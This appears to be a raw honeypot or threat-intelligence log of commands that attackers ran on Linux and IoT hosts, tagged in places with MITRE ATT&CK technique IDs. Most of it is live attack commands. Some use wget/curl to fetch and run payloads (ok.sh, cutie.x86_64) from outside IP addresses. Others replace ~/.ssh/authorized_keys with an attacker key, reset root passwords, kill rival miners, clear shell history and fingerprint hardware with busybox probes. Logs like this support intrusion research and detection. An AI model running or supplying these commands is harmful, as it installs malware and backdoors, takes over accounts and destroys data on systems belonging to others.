cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VHQMK


cd /tmp ; wget http://51.210.71.115/ok.sh ; sh ok.sh ; rm -rf ok.sh ; curl -O http://51.210.71.115/ok.sh ; sh ok.sh ; rm -rf ok.sh ; history -c

('cd ; wget ; sh ; rm -rf ; curl -O ; sh ; rm -rf ; history -c',)


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PHHNB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SSJWP


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


echo -e '\x67\x61\x79\x66\x67\x74'
enable
shell
sh
ping;sh

('echo', 'enable', 'shell', 'sh', 'ping ; sh')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JFKVO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TYHWZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KTFML


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HPKJU


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GPOTB


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VSBVD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WPQTT


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


rm -rf *; cd /tmp; rm -rf *; pkill xmrig; echo -e "xoxox0\nxoxox0" | passwd; wget http://212.192.241.125/pedalcheta/cutie.x86_64; curl -O http://212.192.241.125/pedalcheta/cutie.x86_64; chmod 777 cutie.x86_64; ./cutie.x86_64 x86.nday; rm -rf cutie.*

('rm -rf ; cd ; rm -rf ; pkill ; echo -e | passwd ; wget ; curl -O ; chmod ; ./ ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YWXCM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NIQPP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CZOEY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FGBAT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WNAFJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NJXPI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TKQLP


T1027 Obfuscated Files or Information
T1082 System Information Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox URWUF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LZZBT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DHLBQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BNJFQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GZEMP


sudo -s
sd
ls
cd ..
cd medievaltop/
cd data
cd root

T1548 Abuse Elevation Control Mechanism
T1083 File and Directory Discovery